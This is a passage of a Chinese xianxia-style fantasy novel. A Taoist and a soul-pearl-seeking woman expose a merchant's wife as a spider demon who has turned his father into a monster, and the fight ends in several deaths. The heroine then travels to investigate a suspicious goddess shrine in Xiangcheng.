“当初怪我太不懂事,我应当好好同父亲说明心意的,而不是用伤害自己的方式逼迫他,父亲得此怪症,说来也怨我。”说到此处,杨轩神色落寞,涌上懊悔之意。
见杨轩自责的模样,唐渡愈发不知该如何开口。
沉默之际,一声怪笑传来。
“杨公子,如今有了救你父亲的法子,你是做,还是不做?”娄弦一手托腮,笑盈盈看着杨轩。
这唯恐天下不乱的神态,与那日在雨夜客栈一般无二。
“杨公子——”
唐渡正欲开口,却被救父心切的杨轩打断:“怎会不做?我只想父亲平平安安,再不受妖邪侵扰!”
这几年,杨轩一心想将父亲治好,试了很多方式请了许多术士最终都没有好转,如今有人说有救父亲的法子,他怎会不愿尝试?
杨轩殷切望着她,娄弦嘴角一勾:“不若今日?”
“不可!”凛冽的声音将其打断。
唐渡脸上愠起一层薄怒。
杨府还有许多无辜之人有存活机会,若是今日出手,这些人如何生还?
见唐渡着急反驳,杨轩又急又不解:“为何不可?”
“是啊,为何不可?”娄弦眨着眼看向唐渡,仿佛是在替杨轩控诉。
唐渡看着娄弦询问的眼睛,面色愈发冰冷。
不知她进入杨府的目的是什么,视人命如草芥的人,绝非好意。
杨轩不明真相,有些话唐渡又不好直说。
他揉了揉脑袋,憋下一口气,算是松口:“要找出那妖物,需得列阵,阵法繁杂,最快也得今夜。”
“那就今夜!”杨轩迫不及待道,“只要能尽快救我父亲,今夜就今夜!”
娄弦轻飘飘看了唐渡一眼,似笑非笑端起面前的茶盏轻抿一口。
这顿饭三人吃的各怀心事,食罢,杨轩本想将此事告知朱儿,却被唐渡以莫让夫人担心为由拦下。
仔细想想,朱儿虽是猎户之女,可生性胆小,有妖之事还是不要让她知晓,免得担惊受怕,遂也应下。
唐渡找了处离杨府较远的山庙,同时又能将整座杨府尽收眼底,四方列阵,划分出一处安全
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区域。
夏日天光长,过了卯时天才彻底暗下。
白日里,唐渡给了杨轩一本册子,上面是列阵所需要的人手。
看着这一叠册子,杨轩目瞪口呆:“这、这列阵需要怎么多人?近一半的家仆都得带上?”
他原以为只要带三五个体硕家丁就够了,谁承想会有这么多人,连做菜的厨子扫院的丫鬟都带上了,不知道的还以为他们去逃命。
唐渡想了想:“此妖难引,阵法繁杂,为了防止打草惊蛇,我不能失手。”
他说的认真,仿佛这是个千年一遇的大妖,需得谨慎又谨慎。
杨轩握着手中的名册,也跟着紧张起来。
是了,机会只有一次,切不可打草惊蛇。他们在明妖在暗,多带些人手总归不会错。
杨轩郑重道:“唐道长说的不错,我们出发吧。”
唐渡点点头,抬腿朝外走去,却发现身侧有人未跟上来。
“这是何意?”
唐渡转头,见娄弦站立在原地,丝毫没有动身的意思。
“唐道长,杨公子的夫人还留在府内呢,我们都走了,若发生些什么事,谁来护她?”娄弦双手环胸,露出善解人意的表情。
“娄姑娘说的不错。”杨轩出来解释,“今日我还担心朱儿的安危,若不是娄姑娘主动提出留在府上,我还真不知道该怎么办。”
说罢,杨轩又朝娄弦投去一个感激的眼神。
府中奴仆带走大半,他还担心引妖时误伤朱儿,正想着要不要随口找个理由将她带出府,得亏娄姑娘出现及时,解了他的麻烦。
娄姑娘瞧着是有本事的,定能护好朱儿,他也能安心和唐道长去列阵。
唐渡的脸色却没有杨轩这么友善。
主动提出留在府上?
她怎么不同自己说,而是先和护妻心切的杨公子打通了气,这不是防着他么?
“杨公子,你这么相信她,可别是放虎归山啊。”
唐渡说的凉凉,杨轩却并未放在心上:“她们同为女子,遇事也方便些。”
他着急想引出妖物治好父亲的怪病,便在一旁催促着:“不说这些了,唐道长我们赶快走吧。”
唐渡侧目,冰凉的眼神停留在娄弦身上,如发着寒芒的冰剑。
娄弦并不受扰,她坦然站在原地,笑着朝二人挥手。
一袭红衣亮眼,美得惊心动魄,却无人气。
府内的家仆走了近半,剩下的都是被妖物操控的仆从。
入了夜,漆黑的杨府空荡荡的,只有回廊上的纸灯在晃晃悠悠,肃冷的阴风吹进娄弦衣衫,她甩了甩袖子,转身朝朱儿院落走去。
子夜府邸静悄悄的,娄弦走在石板路上,发出“嗒——嗒——嗒——”的声音。
在这安静之下,脚步与地面的触碰声格外清晰,当然,还有院落内传来的歌声。
“月夜当空千丝绕,拴住情郎把心缠,红绳相结,岁岁年年,一世又一世……”
娄弦驻足,院落的歌声停了。
不等她抬手扣门,里面的人迫不及待把门打开了:“轩郎,今日怎来的这么迟?”
笑容僵在脸上,朱儿一脸怔愕看着娄弦。
娄弦抿嘴相笑,有些作怪的指了指不远处:“我不是你的轩郎,你的轩郎,在布阵。”
5. 彻底妖化
娄弦话落,朱儿立刻变了神色,原本爱慕的眼神立刻警惕起来。
她冷声道:“你是什么人?”
末了,她适才想起起夫君昨日同她提到捉妖师和道士。可见眼前女子的模样打扮,瞧着并不是道士。
“你是轩郎请来的捉妖师?”朱儿神色松了松,露出轻蔑的眼神。
当初这府上来了多少捉妖师和修士,说什么府邸聚邪气,风水有异,唯有拓土扩建才能扭转这风水,说的神乎其神,最终还不是灰溜溜走了。
朱儿并不将娄弦放在眼里。
即便是走到了她面前又如何,瞧着眼前这姑娘年岁不大,恐怕和先前来的那些江湖术士无异,是来骗取钱财的。
“既然是轩郎请来的捉妖师,就得安守本分,独自走到这后院做什么?”朱儿打了个哈欠,并没有继续说下去的欲望,“今夜的事我不与你计较,快些走吧。”
说着,正要将门关上。
一只手拦了出来,牢牢抵在门处。
朱儿面色不悦,不客气道:“你又要做什么?可别得寸进尺!”
娄弦笑了笑,抵在门处的手依然没有松开。
怪不得杨轩会对朱儿动情,此女子生的确实貌美。
额前一缕碎发半遮半掩,温婉与易碎感交叠,唇间一抹红像是刻意等郎君前来点缀,弱柳扶风,怜爱娇怯。
不过,娄弦是个女子,还是个不达目的不罢休的女子。
她笑嘻嘻看着朱儿,好声解释道:“杨夫人,你大抵是误会了。”
朱儿不耐抬眉,手中又使了使劲,奈何娄弦力气过于之大,这门纹丝不动。
“我不是杨公子请来的。”她将这个“请”字咬的格外重,“我是特意为你来的。”
推门的手一滞,朱儿重新抬头。
她的眼底闪过一丝诧异,随后很快消逝。
这抹细微的神色被娄弦看在眼里。
她嘴角一勾,顺势将院门往外一开,自顾走了进去。
里面没有什么婢女,只有一个哑女踌躇站在角落。
据杨轩说,是怕这些丫鬟婆子说些难听话惹朱儿伤心,所以都遣散了,只留了个哑女在这儿服侍。
院子不大,可每一处都精心打理了,院中那棵降香檀还是杨轩托人从琼州运来的,可见用心。
“你方才说今夜的事不与我计较,可有件事,我倒是要和你计较计较。”娄弦划拉了两下池水,慢悠悠道。
朱儿袖衫下的手逐渐攥紧,可仍强装镇定:“我不明白你在说什么。”
一阵凉风袭过面庞,娄弦倏尔挪身移到朱儿面前。二人间的距离瞬间拉近,朱儿腰板一僵。
这女人是疯了吗?靠这么近做什么?
娄弦在她身上轻轻一嗅,露出意味不明的笑容:“我的东西在你身上哦。”
此话一出,娄弦面色一凛,伸手即朝朱儿心口掏去。
朱儿心道一声不好,慌忙双手去抵,娄弦起了必杀之心,不等朱儿做出反应,又飞身朝她杀去。
娄弦招式凶猛,又杂又乱,看不出什么手法,每一击都出乎意料。
眼瞧着朱儿逐渐败了下风,她咬牙看着娄弦,面色阴狠:“别逼我!”
瞳孔一转,原本如常的眼睛瞬间被黑色填满,如此一看,竟与杨老爷卧病时的眼睛一模一样!
一声锐利的尖叫划破夜空,杨轩手中的纱灯一颤,满是担忧朝山下看去。
“怎么了,杨公子?”唐渡问。
杨轩握着纱灯的手紧了紧:“我好像听见朱儿的声音了。”
“莫不是听错了,这儿离杨府尚有些距离,怎会听见夫人的声音。”唐渡安抚。
或许真是自己听错了。
杨轩摇了摇头,实在是太紧张了些,越紧张越容易胡思乱想。
正当他们准备继续朝前走时,一个家仆发出了惊呼:“快看那儿!是不是咱们府上!”
闻言杨轩即刻转头。
不远处山脚下传来两道对峙的光芒,虽然转瞬即逝,可也能确认是杨府的位置。
唐渡眉头逐渐紧拧。
果然,她是冲着朱儿来的。
真是一刻也等不了。
“这、这是怎么了?还没起阵,那妖物自己跑出来了?”杨轩神色焦急起来,眼看两道缭乱的光芒不断来回攻守,他再也待不住了,“不行,唐道长,我得回去,父亲和朱儿都在府上,我要去帮忙!”
杨轩欲走,唐渡一把将他扯住:“你不能去,我去!”
“唐道长!我的最重要的人都在府上我怎能不去!我知不是那妖物的对手,可即便如此,我也要为在意的人拼死一搏!”
唐渡掌心一空,看着杨轩固执离去的背影,他默默握紧了拳。
他并不担心杨轩会被妖物所伤,反之,那妖物还会护着他。
因为那是他的妻子,朱儿。
唐渡担心的是,他怕杨轩看到朱儿的真面目,及所有一切真相。
“再往前走几步有座山庙,那里我布了结界,很安全,诸位万不可下山。”交代完毕后,唐渡紧跟杨轩的步子追了上去。
娄弦还不知山这头发生了什么,两相对峙,她利落躲过朱儿的侵袭,稳稳落在地面。
而在她对面,早已没了朱儿的身影,代而是只巨型蜘蛛。
它的腹部膨胀臃肿,布满了诡异的绿色斑纹和绒毛此时正微微鼓动。
八只长足从两侧延伸而出,如粗竹耸立,覆着密集且锋利的刺钩。那六只如黑色旋涡般的眼珠镶在头部,边转动边准备随时攻击。
几对复眼之下,是不断滴着黏腻毒液的器口,虎视眈眈对着娄弦。
娄弦微微仰头,带着些故意的味道:“若杨轩看到你这般模样,他还会爱上你么?”
许是这句话刺激到了她,朱儿当下吐了长丝朝娄弦缠去。
娄弦目色微凛,五指一张,一把通体乌墨的长戟逐渐现形,刀刃锐利寒光流动。
遂锋芒一转,娄弦掌心发力,原缠在月牙刃上的蛛丝顷刻间被斩断,纷扬落地。
娄弦腰板笔挺,单手收戟将其立在身后,肃杀的风掀起她深色的发尾,带动那抹红发带,气势凶的叫人不敢靠近。
娄弦欲速战速决,丝毫没有注意到身后草丛有东西划过。
就在她动身之际,一道阴影笼罩在上方。
不等娄弦反应过来,比胳膊粗壮的长足迅猛朝她刺来!娄弦赶忙拿长戟一挡!
只听碰撞声响起,娄弦只觉胳膊一震,巨大的力量迫使她整个人朝后滑去。
娄弦凝力,强行抵住冲击,她这才看清来者。
竟是彻底妖化的杨老爷!
他佝偻干瘪的身体被高高架起悬在空中,腰腹两侧的长足不知是骨头还是什么,像蜘蛛般撑着他的身体。而在额角两侧,竟又生出了一对眼睛!
人的模样,蜘蛛的身体,实在是恐怖又诡异!
娄弦奋力一阻,趁间隙快速飞身离开,长足重重落在地面,砸出一道深坑。
娄弦站稳身子,嫌恶的神色难以掩饰:“你在召唤他?”
若非如此,杨老爷怎会突然出现在这里。
原先见到杨老爷时,他的模样虽然怪异,可还没有完全妖化的程度,可现在——
来不及思考,杨老爷再次摆动长足朝娄弦攻来。
那她就没什么好顾虑了。
眼下形势紧迫,娄弦可不是什么圣人菩萨心,自然是保住自己的小命要紧。
娄弦眼神倏尔森冷起来,毫不犹豫提戟朝杨老爷杀去——
“别伤我父亲!”
娄弦一分神,循声望去,愣是没有注意自己的胳膊暴露在杨老爷视野中。
一阵皮肉撕裂之痛叫娄弦回神,她赶忙侧身躲过,这才避免整个胳膊被刺穿,可喉间的甜腥味再次涌了上来,娄弦呕出一口鲜血。
杨轩张慌失措跑过来,满是惊慌的挡在杨老爷面前,小小的身躯张开胳膊,嘴上不断念着:“别伤我父亲……别伤我父亲……”
在旁人看来实在可笑了些,凡人之躯形同蝼蚁,他竟还妄想去护身后的庞然巨物。
奇蠢无比。
嘲讽的话还没来得及说出口,杨老爷扬起长足就朝杨轩背后刺去。
彻底妖化后,人识消散,妖识侵占,此时的杨老爷与妖无异,哪里还认得自己的儿子。
“杨公子小心!”唐渡面露惊慌。
恰在此时,一抹绿光挡在杨轩身后。
朱儿重现人形,一掌朝杨老爷打去。
一阵低低嘶鸣,杨老爷被打的步步后退,像是受了主人的指令匍匐在暗处不再发动攻击。
“轩郎,轩郎你没事吧?”朱儿满是担忧的看着杨轩,颤手抚上他的面颊。
“父亲……父亲……朱儿?”杨轩并未完全回神,恍恍惚惚看着朱儿,而后目光越来越清晰,像是看见怪物般将她推了出去!
方才他明明看的很清楚,那只巨大的蜘蛛精化成了朱儿的模样,还打伤了父亲!
“你这害人的精怪!把朱儿吐出来!休要幻成她的模样来骗我!把朱儿还给我!”
看见杨轩失控的模样,朱儿眼底噙满了泪水,好几次欲开口:“轩郎别怕,是我啊,我就是朱儿。”
“不!你不是!”杨轩大声控诉,“朱儿绝不会害我父亲,伤我家人!绝不会!”
他跌跌撞撞朝杨老爷跑去,脚步凌乱。
可就在看到父亲的一瞬间,他似乎清醒了。
杨轩驻足在原地,颤抖着身子转向朱儿,以一种不可置信的语气问:“朱儿,你……”
杨轩痛苦的抓着脑袋,拼命想从这场噩梦中苏醒过来。
为什么……为什么……
这些年,原来害父亲变成这副模样的妖一直在自己身边,可他却从未发觉,还日夜与这妖恩爱。是他!是他害了父亲!是他该死啊!
朱儿望着杨轩,泪流满面说不出一个字。
风呜呜吹过,不知是杨轩的悲鸣还是朱儿的哭诉,涕怜声间,院外墙上有人影重重挪来,或高或矮,或胖或瘦,他们人数不少,行走的速度也极其缓慢,可就是目标一致朝这儿走来了。
娄弦的声音极其,可还是清楚传进了唐渡的耳朵。
“剩下的家仆,来了。”
那些家仆依旧是常人模样,
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可神色呆滞,空洞的目光不知看向何处,只麻木跟着人群走着。
忽然,一声痛苦的嘶喊从人群中传来,接着,此起彼伏的嘶喊声一阵接一阵传来,他们的七窍处开始爬出密密麻麻的黑色蜘蛛!
嘶喊声渐渐歇了,那些家仆的身体如被汲取完营养的花木,迅速枯萎,最后化成一滩血水。
大量的黑蜘蛛朝娄弦唐渡涌去。
娄弦受了伤,抬手扬戟扯裂了伤口,鲜血汩汩直流,她咬牙强撑,恰在此时,一双有力的手扶住了她。
唐渡并未看她,目色俊冷直视那些黑色蜘蛛。
他抬手起符,符纸化成一团焰火骤然飞去。
唐渡烧掉一半,另一半蜘蛛又快速跟上,如烧不尽的野草,吹之又生。
这样下去不是办法。
胳膊上的钻痛让娄弦冷汗直冒,她目光一瞥,看见麻木在一旁的杨轩,忽而心生一计。
一道戟光直生生朝杨轩飞去——
“你敢动他!”朱儿果然脸色大变,一脸凶意警告娄弦。
那长戟正对杨轩颈间,锐利戟刃闪着寒芒,稍有不慎就会将杨轩的脖子刺穿。
娄弦向来喜欢速战速决,她已经没有耐心了:“以命换命,用你的命。”
朱儿咬牙,恨毒的目光剜着娄弦。
这女人竟拿轩郎的命威胁她!
见朱儿无动于衷,娄弦掌心一转,戟刃逼近皮肤,杨轩低哼一声,殷红的血液从颈间滴出。
她不是开玩笑,她真的会杀了杨轩!
朱儿心中一惊,赶忙止道:“别伤他!我答应你!”
朱儿万分不愿的收了那些黑蜘蛛,一步步朝娄弦走去。
就在众人放松警惕时,唐渡高喊一声:“小心身后!”
娄弦敏锐,迅速侧身躲过身后杨老爷的偷袭,趁娄弦失手,朱儿快速将杨轩拉到身边。
她目色愈发凌厉,发了狠控制杨老爷攻击娄弦,势必要夺她性命。
“住手!你这个妖精!休要再控制我父亲!”
杨轩忽然发了狂,一把推开朱儿,如泣如诉拿手指着她,“你害人不浅!用我杨家家仆的身体供养你的子嗣!又害我父亲变成这副鬼模样!你真是该死!该死!”
朱儿怔在原地,难以置信听着杨轩对她的控诉。
她的轩郎,怎会如此辱骂她,她的轩郎,该是最疼她的啊……
朱儿企图靠近杨轩:“我、我是为了我们的幸福啊。”
“你父亲一直瞧不上我,自我进门之后还一心想叫你纳妾,府上这些家仆表面上顺从我,背地里不知说了我多少坏话,我所做的一切,都是为了我们啊,没有了他们的阻碍,我与你永远在一起不好吗?”
杨轩又厌又弃,步步朝后退去,嘴上不断咒骂:“妖精,妖精!是我瞎了眼,我就不该认识你!更不该娶你进门!是我害了杨家!是我害了父亲!”
朱儿不断靠近杨轩,她始终不明白自己错在哪里。
她爱这个男人,想要除去一切麻烦让他只属于自己,这有错吗?
自从看见他的第一眼,她就爱上了他。
她从未见过如此俊美的公子,剑眉凤目,弯弯笑意,大片的莲花纹印在白衣上栩栩如生,即便是静静站在那儿就叫人沉溺其中。
可那时她还是天云山未修成人形的蜘蛛精,只能默默在暗处欣赏他,不能走到他面前。
大概是她这份真情感动了上苍,一觉睡醒之后她竟拥有了人的身体,又惊又喜。
有了这具身体,她和杨轩的一切都成为了可能。
可还没来及深究这是怎么回事,就听闻杨知府要给杨轩安排婚事了。
她不允许这样的男人娶别的女人!
杨轩,只能是她的!
她要嫁给他,做他的妻子,然后和他永远在一起,谁也不能阻挠。
她好不容易除掉了千难万阻,很快就能和轩郎一生一世在一起,可这一切都被打破了!都是因为这两个外来者!
他们和杨老爷还有府上的家仆一样,都是来拆散她跟轩郎的!这些人都该死!
朱儿的眼里突然闪起毒光,将所有因果归根到了唐渡娄弦身上。
她发了狠,再次现出真身朝娄弦唐渡杀去!
只要这些人都死了!轩郎就能回心转意,就能永永远远和她在一起了!
杨老爷和朱儿两边夹击,娄弦唐渡困在其中难以脱身。
体型相差悬殊,娄弦又受了伤,这样下去不是办法,实在耗费精力。
娄弦边攻边思考。
长戟脱手,她伸手一扬,天悲戟飞至蜘蛛精身后,趁朱儿不备,娄弦迅速飞离困境朝外跑去。
眼见娄弦要逃跑,蜘蛛精长丝一吐,犹如利箭般飞速攻去,谁知娄弦转了个弯,将杨轩的身子抓过来挡在了前面。
眼见情况不妙,朱儿想要收回蛛丝已来不及,就在这千钧一发之际,一具身体挡在了杨轩前面。
蛛丝戳穿了杨老爷的肚子,大片鲜血从他嘴里吐出,漆黑的眼珠子时而清晰时而模糊。
他说的话有些含糊不清,可却听得分明。
“轩……儿……跑……”
6. 消散
人被妖化后形同傀儡并无意识,它们往往不知道自己在做什么,可在万般挣扎后,杨老爷脱离了朱儿的操控,下意识以命护住杨轩。
是无法割舍的血脉亲缘。
杨老爷庞大的身躯轰然倒下。
原本妖化的长足慢慢褪去,鼓起的复眼也逐渐消了下去,只剩下瘦削的躯体倒在一侧,没有任何回应。
杨轩睁眼颤唇,半晌才抖出一句:“父亲……”
可地上之人再无回应。
杨轩不相信父亲死了,拼命爬到他身边一遍又一遍喊着,喊到撕心裂肺。
他将尸体拢在怀里,哭的泣不成声:“父亲!父亲你醒醒!轩儿知错了,轩儿该听你的话找门当户对的人家,轩儿错了……”
寂静的院内是杨轩痛哭流涕的声音,无尽的悲鸣懊悔都换不回父亲的性命。
那棵降香檀发出簌簌落落的呜咽声,落叶归根华为腐朽,与今夜一同掩埋。
月光惨淡,杨轩将头埋进父亲干瘪的身躯,哭到脱力。
下一瞬,杨轩忽然夺过娄弦手中的长戟朝小腹刺去。
“轩郎不要!”
一声惊呼下,朱儿难以置信的看着自己腰腹,黏润感顷刻蔓延。
那里有刺痛感传来。
长戟不知何时插进了自己腰腹,殷红的鲜血顺着戟身滴滴落下,坠在地面化成血珠。
朱儿歪着头,心不甘,又不解:“为什么,轩郎?你不是很爱我吗?为何,舍得?”
杨轩咬着牙,满目怨色,挣扎过后又将戟尖扎深几分,眼泪却止不住滑落。
朱儿的手缓缓抬起,拭去杨轩脸上的泪水,就这么静静看着他。
杨轩闭上眼,隔绝朱儿贪恋的目光,颤着声,像是说给朱儿听,又像是说给自己听。
“妖精。”
二字落,像是得到了某个满意的回答。
朱儿咧了咧嘴角,忍着长戟碾磨小腹的钻痛,慢慢靠近杨轩,拥住他。
“……轩郎。”
怀中的人儿逐渐失去温度,直到一抹光亮从朱儿额间升起。
那是颗明亮通透的珠子,不似琉璃不似玉珠,清澈无杂,如人灵魂般纯净。
魂珠似知晓自己该往哪里,不等娄弦接过,蓦的撞进她身体,一股暖意从心间荡开。
像是某处空虚瞬间被填满,散着淡淡的力量。
唐渡默不作声看着这一切。
她是为这珠子来的。
只是这珠子,是何物?为何会认主似的撞进她身体?
一切都是后话了。
朱儿命陨,魂珠离体,杨轩怀里的人如一阵风,飘飘洒洒散了。
东方既白,那抹淡色划破浓稠夜际丝丝缕缕渗透出来,亮了一方暗了一方。
集市被唤醒,此起彼伏的吆喝声,嬉戏打闹声,儿童追逐声,无人知晓昨夜发生了什么,日子照旧。
天亮了。
杨府空了大半,剩下的家仆都被杨轩遣散了,空荡荡只留下杨轩一人。
没了初见时的翩翩风度,他颓唐站在院中,目光呆滞看着前方。
唐渡和娄弦前来辞行。
“杨公子。”唐渡将杨轩唤回。
他心中有些内疚,抱歉开口:“对不住,我没能将杨老爷救回来。”
他本是想先收了朱儿再告知其真相,可这一切都在计划之外,是他没有准备齐全。
见杨轩消沉颓然的模样,唐渡抿了抿唇,不忍再看他。
“唐道长不必心怀歉意,此事你已尽最大之力。”杨轩苦涩一笑,摇摇头“这样也好,父亲脱离苦海不再受妖邪折磨,于他而言,是好事。”
似是想到了什么,杨轩的神色黯了黯。
他的声音低了下去,轻到只能自己听见:“还是我的错,是我不该……”
"……杨公子。"唐渡欲意安慰,可话到嘴边却什么都说不出来。
他本就是个不善言辞的人,更何况失去至亲至爱的是杨公子,没有人能真正感同他的痛苦,再多的言语也是苍白。
杨轩摆摆手:“这几天发生了太多事了,家中还有许多后事待处理,我就不送你了。”
唐渡微微颔首,杨轩双手作揖,勉强扯出一个笑容。
一夜之间,物是人非。
望着杨轩落寞离去的背影,唐渡心中是说不出的滋味。
“你为何要这么做?”唐渡低声质问娄弦。
娄弦的胳膊上还绑着伤布,面对唐渡的责问,她轻飘飘回道:“想做便这么做了。”
“再者,犯了事就得罚,世上哪有什么两全之策,还需问我么?”
不论好事坏事,她要做的事,从没有理由,更何况朱儿身上的魂珠,她说什么也得拿回。
“那杨老爷呢?”唐渡反问。
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若不是她拿杨轩做挡箭牌,杨老爷或许不会死。
见唐渡执拗的模样,娄弦嗤的笑出了声:“你不会真想救他吧?”
她朝唐渡走近了一步:“你不是真以为能救他吧?”
娄弦拆穿了唐渡心中所想,步步紧逼:“其实你知道,杨老爷妖化到这种程度,即便留有一条命,也只能像个怪物一样活着。”
“那么,这样活着的意义是什么?只是活着吗?”
娄弦的一番话叫唐渡噎住了。
他从未想过这个结果。
于他而言,他只想救下这府上无辜之人,杨轩和杨老爷都在其中。
罢了,前缘种就,后果昭彰,杨轩和朱儿的因,种下了今日的果,杨府此劫并无良解。
回想起昨夜朱儿额间升起的珠子,唐渡心中困惑:“昨夜那是什么东西?为何会进入你体内?”
她怕是早就知道这珠子在杨府,所以想方设法进入杨府接近朱儿。
突想起那夜他在杨轩院子碰到娄弦,恐怕也是为这珠子而来。
娄弦并不想解释,只道:“唐道长,此事与你无关。”
说罢便转头朝街市走去。
唐渡看着那抹张扬红衫消失在街角,遂转头朝另一方向走去。
……
残月中天,暮色融融。
山夜中漫着一层浓色薄雾,偶有几声山鸟的怪叫传来。
夜风乍起,残雾消散,冷月高挂枝头,照亮了不远处的坟茔残碑。
山路边树影幢幢,花木随风婆娑,小径上有人影拉来。
一妇人借着月色,提着手中的竹篮朝山上走去。
竹篮中似装了什么东西,沉甸甸的,缝隙处还有殷红的血迹流下。
妇人走几步歇歇脚,直到看见庙宇通明的烛灯,她这才露出笑脸来。
文哥儿烧了好几日,请了许多郎中吃了好多药都不见有效,都说这山庙里的仙姑娘娘救小儿最是灵验,今日所求,希望文哥儿早日醒来,平平安安。
妇人跪在蒲团前,双手合十,面色诚恳。
跪拜之后,她从身边的篮子里拿出一只鸡,鸡脖子上的血迹还未流干,像是上山前现宰的。
她将那只鸡放在供台上,拜了又拜,低头之际却未注意,立在山庙中央的仙姑神像竟睁了眼!
在抬头,神女像又如寻常垂眸,慈眉善目。
……
7. 湘城仙姑
商铺酒楼立在街道两侧,远处传来此起彼伏的吆喝声,小贩挑着担子走过,茶肆坐满了喝茶闲聊的人。
娄弦坐在馄饨铺,将碗里最后一只馄饨吃下,抹了抹嘴,掏出铜钱放在桌上。
眼下已找回四颗魂珠,还有六颗下落不明。
娄弦看着街市来来往往的人,手下意识抚上引魂铃。
下一步该去哪儿?
“王大娘,你从湘城回来了?”馄饨铺老板笑着朝一妇人打了招呼,“你家文哥儿怎么样?醒了吗?”
“醒了醒了。”王大娘的声音带着喜气,“我从湘城回来后没几日,我家文哥儿就醒了,不仅退了烧,身体还比先前好了呢。”
“这仙姑庙真这么神?”
“可不是,许是神仙显灵啦!”
馄饨铺老板和王大娘又聊了几句家常,各自去忙活了。
娄弦的摩挲着桌上的铜钱。
二人的对话都进了耳朵。
湘城?
如今还有人去湘城?
要说湘城属实算不上一个人杰地灵的地方,反之,在离此地不远处还有一个大妖城,闇狴城。
闇狴城的妖邪性凶残,闹得百姓苦不堪言,能逃的都逃了,只剩下些老友病残留在城内,像这样一座妖邪作乱的空城有什么好去的,还特意跑去哪儿求神拜佛。
“老板,结账。”
“好嘞。”铺子老板拿抹布擦了擦手,朝娄弦走来。
“方才我听你跟那妇人聊什么,仙姑庙?”娄弦顺口问了一嘴。
老板收了铜钱,漫不经心道:“先前王大娘家的儿子烧了好几日,人都烧糊涂了,请了好多郎中都不知道是怎么回事。”
“有人建议王大娘去湘城的仙姑庙看看,说庙里的仙姑娘娘很是灵验。”
“原先大家都当是湘城附近的妖怪引诱人前去的手段,可王大娘救子心切,哪顾得上这么多,谁知还真将人看好了,或许真是神仙显灵了。”
铺子老板心中道怪,摇摇头离开了。
神仙显灵?
娄弦细想铺子老板那番话,不免觉得可笑。
神仙哪能随意干涉人间事故,多数都是多数都是欲为之而不能。
世间万物都有命数,求神拜服不过是人于苦难中寄托神祇的无奈之举,心有所求,力而不及,成与不成,因果都在那儿。
湘城仙姑?
她便去看看这仙姑是什么模样。
娄弦起身,离了馄饨铺朝西走去。
湘城地处偏僻,物壤稀缺,又常有邪物作祟,故少有人来此地,城内多是走不掉或不想走的。
原先娄弦也是这么想的,可待进了城门之后,她还是诧异了番。
虽谈不上多繁茂奢华,可相较几十年前的萧瑟荒凉,好歹是多了些市井气儿,旺人。
酒肆商铺齐开,小贩高声吆喝,刚出炉的包子还泛腾着热气,孩童追着卖糖葫芦的跑,满是人间味儿。
娄弦走到包子铺前,指着冒白气儿的包子说:“来一个。”
“好嘞。”
小贩利落拿出一个包子,垫着油纸递给娄弦。
他上下打量了一番,闲聊道:“外头来的?”
娄弦咬下一口薄皮:“怎么?”
小贩挥了挥热腾腾的白气,顺手将蒸笼盖上:“现在的湘城大多都是外来人,原来哪有什么人住啊。”
娄弦索性坐在一旁聊起来:“怎么说?我瞧这地方挺好的,八街九陌人来人往,怎么会没人住呢。”
眼下不算忙活,小贩也不着急做生意,闲着也是闲着,就扯了话头说:“早几十年前,这湘城被邪祟侵扰,哪里有人敢住在这儿啊,也是近几年才太平起来。”
“大概是三年前,山城里的仙姑庙忽然显灵了,许多慕名而来的人都指着仙姑娘娘消灾解病呢,这来的人多的,活气儿也就上来了。”
说到这,那小贩打量了娄弦一番:“你也是来求仙姑的吧?”
娄弦三两口吃完包子,没有回答小贩的话,只问:“仙姑庙怎么走?”
小贩看她两手空空,笑着摇摇头:“你什么都不拿,还妄想求仙姑?”
小贩不再与她闲聊,打开蒸笼递了两个包子给客人:“若你诚心想请仙姑帮忙,杀只活鸡放到后山仙姑庙,仙姑收了你的东西,自然帮你解惑了。”
第一次听说有仙姑爱吃鸡的,还得是现杀的活鸡。
吃的挺新鲜。
娄弦暗讽。
包子铺忙活起来,娄弦也不多留,问了仙姑庙的方向就朝山上走去。
仙姑庙算是湘城的“活招牌”,随便扯一路人就能打听清楚,所以找寻起来并不困难。
娄弦顺着路人指示的路,过了布庄继续朝东走。
山路崎岖难行,深处还有零星几座无名坟,可求神的人却不少。
娄弦随着人群继续走,路已经被走宽,周边阻人的乱丛杂草已被人砍去不少。
不知行了多久,娄弦隐约听见前头有不少人在说话,又随着声音朝前走去,顺着山坡往上,视野逐渐宽阔宽阔起来。
一座不算巍峨但胜在兴旺的小庙映入眼帘。
青瓦红墙,四面方正,檐角微敲,庙宇正中挂着一牌匾,写着四字:福禄深厚。
穿过正门往里走便是一座站立的石女神像。
娄弦抬头细看。
神女像巨高无比,双手于袖下交迭,极为端庄。再往上看,便是精巧别致的面容,细长慈眉,栩栩如生,不知是石匠手巧还是什么,这模样极具生气,就好像随时会活过来。
可这笑容却是怪异,像是刚成人形的邪祟为不被人起疑,故意学人装模做样。
她又看向供台。
供台上没有香炉供烛,只有空空如也的供盘。
供盘上原先不知放了什么东西,已经发暗的血迹凝留在供盘上。
这庙宇怎么看都不像是个正经庙宇。
娄弦低头看着神女像面前的香案,总觉得头顶有道目光一直注意着她。
她敏捷看去,神女像依旧慈眉低垂,与刚进门时一般无二,当是刚才是自己多想了。
有来求愿得村民见娄弦站在神女像前既不跪拜也不求愿,两手空空,显然一副不诚心的模样。
“你若不是诚心来求愿得就莫要站在这儿了,仙姑瞧了会不高兴的。”有村民在身后催促。
娄弦扫了眼面前的神女像,什么话也没说,双手环胸走了出去。
出了庙宇,娄弦并未走远,而是坐在了附近的茶肆处。
眼下已接近晌午,空气中的风带着些燥热,闷的人难受。
娄弦要了碗粗茶,看着进出庙宇的人群,静待天黑。
日落西山,薄光映着残红,白日里热闹的仙姑庙逐渐安静下来,只剩下树叶的烁烁声。
天色渐晚,茶肆摊主忙着收摊回家,见娄弦还坐在茶摊处,便好心提醒:“姑娘,天黑了,你赶紧下山吧,这山中晚上有吃人的野兽出没。”
娄弦道了声谢,却没有下山。
她翻身上了庙宇门口处的老槐树,直到天色完全暗下来。
褪去了白日的喧嚣,入夜的仙姑庙寂的瘆人,偶有几声蝉鸣传来,很快又安静了。
万物寂静,越是这种时候越发出点什么声音,在黑夜中才会更清晰。
只是,这声音不是从庙宇传来的,而是娄弦手中的引魂铃。
她惊然从树上坐起,看着手腕处剔透的玉玲。
引魂铃的声音旁人听不见,可娄弦却听的分明。
这里竟然有她的魂珠?这样的好事叫她碰上了?
她利落从树上翻身而下,朝着庙宇追去。
